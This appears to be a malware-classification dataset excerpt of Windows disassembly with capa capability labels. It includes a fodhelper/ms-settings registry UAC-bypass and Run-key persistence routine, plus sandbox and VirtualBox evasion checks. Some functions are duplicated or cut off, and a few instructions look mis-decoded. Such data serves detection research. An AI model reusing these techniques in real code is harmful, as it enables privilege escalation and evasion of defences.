joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003008
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x14012e928]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
lea rdi, [0x1401312e0]
mov qword [rsp + 0x28], rdi
mov rcx, rdi
call 0x140037120
test eax, eax
jne 0x140003055
mov rax, qword [0x140131330]
nop
test rax, rax
je 0x140002eec
xor ebx, ebx
jmp 0x14000302d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140002f04
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.1400029d0
nop
mov r8d, 0x13
lea rdx, [0x1400ed8f0]
lea rcx, [rsp + 0x30]
call fcn.1400032d0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [0x1400ec180]
mov rbx, rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002f8a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000304f
call 0x14006e080
movdqa xmm0, xmmword [0x1400ed8e0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
xchg qword [0x140131330], rbx
mov rax, qword [0x140131330]
nop
test rax, rax
jne 0x140002fb6
lea ebx, [rax + 0x23]
jmp 0x14000302d
mov rcx, qword [0x140131330]
nop
lea rdx, [0x1400ed908]
call qword [0x1400ec188]
test rax, rax
je 0x140002ff3
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x20]
call qword [0x1400ec4a8]
mov rax, qword [rsp + 0x20]
mov qword [0x140131338], rax
test rax, rax
jne 0x140002ffa
mov ebx, 5
jmp 0x14000302d
mov rcx, qword [rax + 0x28]
mov qword [rbp - 0x3d7af037], rax
test ecx, ecx
jne 0x1400030ca
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rbx
push rdi
sub rsp, 0x848
mov rax, qword [0x1400153c8]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov r9, rdx
and al, 0x30
or byte [rax], al
add byte [rbx + rcx*4 - 0x36], cl
mov edx, 0x400
lea rax, [r11 + 0x18]
lea rcx, [rsp + 0x30]
lea r8d, [rdx - 1]
xor edi, edi
mov qword [rsp + 0x20], rax
call fcn.140005e90
lea rcx, str.user32.dll
cmp eax, 0x4800002e
lea ecx, str.user32.dll
or eax, 0xfd36
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rax, qword [0x140017eb8]
test rax, rax
jne 0x14000309b
test rbx, rbx
je 0x1400030be
lea rdx, str.MessageBoxTimeoutW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140017eb8], rax
test rax, rax
jne 0x14000309b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400030be
lea r8, [0x140012dd0]
lea rdx, [rsp + 0x30]
mov r9d, 0x10010
xor ecx, ecx
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], di
call rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400030cc
Capabilities:
Terminate process

Disassembly:
test ecx, ecx
jne 0x140003196
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rbx
push rdi
sub rsp, 0x448
mov rax, qword [0x1400153c8]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov r9, rdx
mov edx, 0x400
lea rax, [r11 + 0x18]
lea rcx, [rsp + 0x30]
lea r8d, [rdx - 1]
xor edi, edi
mov qword [rsp + 0x20], rax
call fcn.140009448
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rax, qword [0x140017eb0]
test rax, rax
jne 0x140003167
test rbx, rbx
je 0x14000318a
lea rdx, str.MessageBoxTimeoutA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140017eb0], rax
test rax, rax
jne 0x140003167
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000318a
lea r8, str.Fatal_Error_in_Launcher
lea rdx, [rsp + 0x30]
mov r9d, 0x10010
xor ecx, ecx
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], di
call rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
ret

Function at 0x1400030d4
Capabilities:
Terminate process

Disassembly:
test ecx, ecx
jne 0x140003196
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rbx
push rdi
sub rsp, 0x448
mov rax, qword [0x1400153c8]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov r9, rdx
mov edx, 0x400
lea rax, [r11 + 0x18]
lea rcx, [rsp + 0x30]
lea r8d, [rdx - 1]
xor edi, edi
mov qword [rsp + 0x20], rax
call fcn.140009448
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rax, qword [0x140017eb0]
test rax, rax
jne 0x140003167
test rbx, rbx
je 0x14000318a
lea rdx, str.MessageBoxTimeoutA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140017eb0], rax
test rax, rax
jne 0x140003167
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000318a
lea r8, str.Fatal_Error_in_Launcher
lea rdx, [rsp + 0x30]
mov r9d, 0x10010
xor ecx, ecx
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], di
call rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
ret
Function at 0x140003200
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r13, rcx
lea r8, [0x140012e18]
lea rdx, [0x1400174a0]
lea rcx, [rbp + 0x38]
xor r12d, r12d
mov qword [rbp + 0x38], r12
call fcn.140004270
mov ecx, r12d
test eax, eax
lea rdx, str.Failed_to_open_executable
sete cl
call fcn.1400030cc
mov rcx, qword [rbp + 0x38]
lea r8d, [r12 + 2]
xor edx, edx
call fcn.140005f64
mov rcx, qword [rbp + 0x38]
call fcn.140005724
mov rcx, qword [rbp + 0x38]
movsxd r14, eax
lea edi, [r14 - 0x104]
test edi, edi
cmovs edi, r12d
xor r8d, r8d
mov edx, edi
call fcn.140005f64
mov r9, qword [rbp + 0x38]
lea r15d, [r12 + 1]
mov esi, 0x104
mov edx, r15d
mov rcx, r13
mov r8d, esi
call fcn.1400051a8
mov rcx, r13
mov rdx, rax
call fcn.140003198
mov rbx, rax
test rax, rax
je 0x1400032d9
lea rcx, [rbp - 0x20]
lea r8d, [r12 + 0x14]
mov rdx, rax
call fcn.14000c690
movsxd rdi, edi
sub rdi, r13
std
mov ebx, 0x4100000
mov ecx, ebx
call fcn.14000497c
mov rcx, qword [rbp + 0x38]
lea edi, [r14 - 0x4100000]
test edi, edi
mov rsi, rax
cmovs edi, r12d
xor r8d, r8d
mov edx, edi
call fcn.140005f64
mov r9, qword [rbp + 0x38]
mov r8d, ebx
mov rdx, r15
mov rcx, rsi
call fcn.1400051a8
mov rcx, rsi
mov rdx, rax
call fcn.140003198
mov ecx, r12d
lea rdx, str.Unable_to_find_an_appended_archive.
test rax, rax
mov rbx, rax
setne cl
call fcn.1400030cc
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8d, 0x14
call fcn.14000c690
movsxd rdi, edi
mov rcx, rsi
sub rdi, rsi
add rdi, rbx
call fcn.1400046a4
mov esi, 0x104
Function at 0x1400066c7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400153c8]
jne 0x14000418a
rol rcx, 0x10
test cx, 0xffff
jne 0x140004186
repz ret
ror rcx, 0x10
jmp 0x140006620
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400164e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400165d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400066a5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400164e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400066c7
mov rax, qword [rsp + 0x88]
mov qword [0x1400165d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140016578], rax
mov rax, qword [0x1400165d8]
mov qword [0x140016450], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140016560], rax
mov dword [0x140016440], 0xc0000409
mov dword [0x140016444], 1
mov rax, qword [0x1400153c8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400153d0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400164d8], eax
mov ecx, 1
call fcn.14000a278
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400113c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400164d8], 0
jne 0x14000674e
mov ecx, 1
call fcn.14000a278
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14000cac8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400153c8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140007438
xor ebx, ebx
cmp qword [0x1400173a0], rbx
mov rdi, rax
jne 0x14000cbdb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000ccb2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000ccb2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400173a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400173a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400173b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400173c0], rax
test rax, rax
je 0x14000cbd2
lea rdx, [0x140012c20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400173b8], rax
jmp 0x14000cbe2
mov rax, qword [0x1400173b8]
jmp 0x14000cbe9
mov rax, qword [0x1400173b8]
mov r11, qword [0x1400173c0]
cmp rax, rdi
je 0x14000cc50
cmp r11, rdi
je 0x14000cc50
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400173c0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000cc50
test rax, rax
je 0x14000cc50
call rsi
test rax, rax
je 0x14000cc4a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000cc4a
test byte [rsp + 0x40], 1
jne 0x14000cc50
bts ebp, 0x15
jmp 0x14000cc90
mov rcx, qword [0x1400173a8]
cmp rcx, rdi
je 0x14000cc90
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000cc90
call rax
mov rbx, rax
test rax, rax
je 0x14000cc90
mov rcx, qword [0x1400173b0]
cmp rcx, rdi
je 0x14000cc90
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000cc90
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400173a0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000ccb2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000ccb4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004170
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000ab90]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aba0]
mov dword [rax], 1
mov rax, qword [0x14000abb0]
mov dword [rax], 1
mov rax, qword [0x14000ab10]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000ab80]
mov dword [0x14000e00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000ac60]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000ac40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000aaf0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400014ed
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20006
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140001586
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x1400016af
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, str.SoftwareClassesms_settingsShellOpencommand
mov qword [rbp - 8], rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 0x10], rax
lea rax, str.DelegateExecute
mov qword [rbp - 0x18], rax
lea rax, str.C:Users_testDesktop_boredprivileges_check.src
mov qword [rbp - 0x20], rax
lea rax, str.explorer.exe_C:WindowsSystem32_fodhelper.exe
mov qword [rbp - 0x28], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.generateRandomString
mov rax, qword [rbp - 8]
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.addRegistryKey
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea r9, [0x14000a0d7]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, rdx
lea r8, [0x14000a0d7]
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
call sym.setRegistryValue
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x14000186e
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x38]
mov edx, 0xffffffff
cmp rdx, rax
jb 0x1400018bb
lea rax, str.Low_RAM_detected._Potential_sandbox._n
mov rcx, rax
call sym.printf
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
jmp 0x1400018ca
lea rax, str.Sufficient_RAM_available._n
mov rcx, rax
call sym.printf
nop
add rsp, 0x60
pop rbp
ret

Function at 0x1400018d1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x7cf
ja 0x14000192c
lea rax, str.Sleep_was_skipped_or_shortened._Potential_sandbox._n
mov rcx, rax
call sym.printf
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
jmp 0x14000193b
lea rax, str.Sleep_timing_is_normal._n
mov rcx, rax
call sym.printf
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001aeb
Capabilities:
Get system information on windows
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x1c]
cmp eax, 0x182
je 0x140001b1a
mov eax, dword [rbp - 0x1c]
cmp eax, 0x1e6
jne 0x140001b38
lea rax, str.Unusual_CPU_detected._Potential_sandbox._n
mov rcx, rax
call sym.printf
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
mov dword [rbp - 4], pe_nt_image_headers64
mov edx, dword [rbp - 4]
lea rax, [rbp - 0xc0]
mov r8d, edx
mov rdx, rax
lea rax, str.VBOX_ENV
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
je 0x140001b86
lea rax, str.VirtualBox_environment_variable_detected._n
mov rcx, rax
call sym.printf
mov eax, dword [0x14000e030]
add eax, 1
mov dword [0x14000e030], eax
jmp 0x140001b95
lea rax, str.No_virtualization_related_environment_variables_found._n
mov rcx, rax
call sym.printf
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x140001f30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x1400020d0
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001feb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002075
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001fd0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400020f2
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400020d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000206e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002080
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000206e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ff8
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002680
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400026dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400026d3
test eax, eax
jne 0x1400026d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400026b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400028f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002908
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002910
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002920
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000296d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002964
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000296f
add rax, 0x28
cmp rax, r9
jne 0x140002950
xor eax, eax
ret

Function at 0x140002970
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002a00
mov rdx, qword [0x14000ab10]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400029ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400029ee
cmp word [rax + 0x18], 0x20b
jne 0x1400029ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002a00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400029d9
add rbx, 0x28
cmp rbx, rdi
je 0x140002a00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400029d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ab10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002a30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002a38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002a30
add rax, 0x28
cmp rax, r9
jne 0x140002a70
xor eax, eax
ret

Function at 0x140002a90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab10]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002aaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002ab8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002aaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002ad0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000ab10]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002af0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002af8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002af0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002b40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002b37
test rcx, rcx
je 0x140002af0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002b28
xor eax, eax
ret